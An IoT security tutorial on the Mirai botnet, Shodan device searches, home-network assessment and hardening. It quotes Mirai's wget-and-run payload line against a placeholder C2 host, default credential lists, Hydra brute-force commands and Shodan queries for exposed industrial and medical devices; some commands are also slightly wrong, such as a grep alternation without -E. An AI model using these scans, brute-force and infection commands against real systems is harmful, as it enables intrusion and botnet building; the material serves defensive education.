IoT Security: Mirai Botnet, Shodan Scanning, and How to Secure Smart Devices

In 2016, Mirai botnet infected 600,000 IoT devices and launched the largest DDoS attack in recorded history — taking down DNS provider Dyn, and with it Twitter, Netflix, Reddit, GitHub, and CNN for most of the East Coast. The devices it used were IP cameras, DVRs, and routers — all running default passwords. IoT security is not optional. It is a critical, largely ignored attack surface that affects home users, hospitals, factories, and critical infrastructure.

The Scale of the IoT Problem

By 2025, there are an estimated 15 billion IoT devices connected to the internet. The vast majority ship with default credentials, run outdated software with known vulnerabilities, and receive no security updates after initial deployment. Many run Linux kernels from 2014 with CVEs that will never be patched because the vendor no longer supports the device.

Finding and Assessing IoT Devices with Shodan

# Shodan: Search engine for internet-connected devices
# Free account at shodan.io gives limited searches
# API access for automated queries

pip3 install shodan
export SHODAN_API_KEY="your_api_key"

# Search for default-credential IP cameras
import shodan
api = shodan.Shodan('YOUR_API_KEY')

# Search for Hikvision cameras with default creds
results = api.search('Hikvision-Webs product:"dvr"')
print(f"Found: {results['total']} devices")
for result in results['matches'][:10]:
    print(f"IP: {result['ip_str']}, Country: {result['location']['country_name']}")

# Other useful Shodan searches:
# Industrial control systems
api.search('port:502 product:modbus')  # Modbus (factory PLCs)
api.search('port:102 product:siemens')  # Siemens S7

# Medical devices
api.search('product:"Philips" port:80 title:"Patient Monitor"')

# Network devices with default creds
api.search('html:"default password" product:"router"')

# Command line searches:
shodan search --fields ip_str,port,org --limit 100 'default password port:23 product:telnet'

Mirai Botnet: How It Worked

# Mirai's attack methodology (documented for education):

# Step 1: Scanning - Mirai bots continuously scanned the entire IPv4 space
# Target ports: 23 (Telnet), 2323 (alternative Telnet)
# Network scanner (Mirai used raw SYN packets for speed)

# Step 2: Credential stuffing - Tried 61 default credential pairs:
# admin:admin, root:root, admin:1234, admin:password,
# guest:guest, ubnt:ubnt, root:vizxv, admin:meinsm, etc.

# Step 3: Infection - Once authenticated via Telnet:
cd /tmp; wget http://[C2_IP]/mirai.arm; chmod +x mirai.arm; ./mirai.arm
# Downloaded architecture-specific payload (ARM, MIPS, x86, x86_64)

# Step 4: Persistence - Mirai deleted itself from disk (ran only in memory)
# Bound to key ports to prevent other malware from competing

# Step 5: DDoS - Waited for C2 commands to launch attacks:
# SYN flood, UDP flood, DNS query flood, HTTP flood (layer 7)

# The October 21, 2016 attack:
# ~600,000 bots generated 1.2 Tbps of traffic against Dyn DNS
# Impact: Amazon, GitHub, Netflix, Spotify, Twitter, CNN, Reddit all offline

# Detection: Look for Telnet brute force in your logs
grep "Telnet|port 23" /var/log/firewall.log | grep "BLOCKED|DENIED"

IoT Device Security Assessment

# 1. Network scan for IoT devices on your network
nmap -sV -p 23,80,443,8080,8443,554,1935 192.168.1.0/24
# Common IoT ports:
# 23: Telnet (unencrypted, default creds)
# 554/1935: RTSP (video streams)
# 80/8080: HTTP admin interface
# 8443: HTTPS admin interface

# 2. Check for Telnet (should never be open)
nmap -p 23 192.168.1.0/24 | grep "open"

# 3. Check default credentials with Hydra
hydra -L default_users.txt -P default_passwords.txt 192.168.1.100 ssh
hydra -L default_users.txt -P default_passwords.txt 192.168.1.100 http-get /

# Common IoT default credentials to test:
# admin:admin, admin:password, admin:1234, admin:123456
# root:root, root:toor, root:12345
# user:user, guest:guest
# ubnt:ubnt (Ubiquiti), pi:raspberry (Raspberry Pi)

# 4. Check firmware version against CVE database
# Find firmware version on admin page or via HTTP headers
curl -I http://192.168.1.100 | grep -i "server|firmware|version"

# Search CVE for your device
# https://cve.mitre.org/cgi-bin/cvekey.cgi?keyword=hikvision+camera

# 5. Nmap NSE scripts for IoT
nmap --script http-default-accounts 192.168.1.100
nmap --script rtsp-url-brute 192.168.1.100  # Find camera streams

Securing IoT Devices

Network Segmentation (Most Important)

# Every IoT device should be on its own VLAN, isolated from main network
# If an IoT device is compromised, it cannot reach your computers

# pfSense: Create IoT VLAN
# Interfaces > Assignments > VLANs > Add
# VLAN ID: 30, Parent: LAN, Description: IoT

# Firewall rules for IoT VLAN (block access to main network):
# Allow: IoT VLAN -> WAN (internet access for device to function)
# Block: IoT VLAN -> LAN (cannot reach your computers)
# Block: IoT VLAN -> LAN (cannot reach your NAS, servers, etc.)
# Allow: LAN -> IoT VLAN (you can still access device admin pages)

# OpenWrt VLAN configuration
# /etc/config/network
config interface 'iot'
    option type 'bridge'
    option ifname 'eth0.30'
    option proto 'static'
    option ipaddr '10.0.30.1'
    option netmask '255.255.255.0'

Firmware and Patch Management

# Automate firmware version checks
# Some devices support: curl http://device-ip/api/firmware/version

# For devices supporting SSH:
ssh admin@192.168.1.100 "cat /etc/version"

# Script to check all devices for firmware updates:
import requests

devices = [
    {"ip": "192.168.1.100", "type": "hikvision"},
    {"ip": "192.168.1.101", "type": "ubiquiti"},
]

for device in devices:
    response = requests.get(f"http://{device['ip']}/cgi-bin/firmware.cgi", auth=("admin", "password"), timeout=5)
    print(f"{device['ip']}: {response.text[:100]}")

Pi-hole: Block IoT Tracking and Malicious Domains

# Install Pi-hole as network-wide DNS
curl -sSL https://install.pi-hole.net | bash

# Configure router to use Pi-hole as DNS:
# DHCP Server DNS: 192.168.1.x (Pi-hole IP)

# Add IoT-specific blocklists to Pi-hole:
# Settings > Blocklists > Add:
# https://raw.githubusercontent.com/nicehash/NiceHashQuickMiner/master/blocked_hosts
# https://oisd.nl/  (comprehensive IoT tracker block list)

# Block ALL outbound DNS except Pi-hole (prevents DNS bypass)
# pfSense: Firewall > Rules > LAN
# Block destination port 53 from all sources except Pi-hole IP

# Monitor DNS logs for suspicious IoT behavior
pihole -t  # Live tail of DNS queries
# Look for: IoT devices querying unusual domains, data exfiltration patterns

IoT Vulnerability Database Resources

  • NIST NVD: nvd.nist.gov — search any device vendor/model
  • ExploitDB: exploit-db.com — public exploits for IoT devices
  • ICS-CERT: cisa.gov/ics — industrial control system advisories
  • Shodan CVEs: Shodan shows CVEs for any discovered device
  • IoT Inspector: Free tool that monitors IoT device traffic for unusual behavior

The Mirai attack from 2016 remains relevant because the underlying problem — devices with default credentials and no update mechanism — has not been solved. The best practices are: change every default password on every device immediately, segment all IoT devices onto their own isolated network, block Telnet everywhere, and treat your IoT devices as inherently untrusted. If a device cannot be secured, it should not be connected to your network.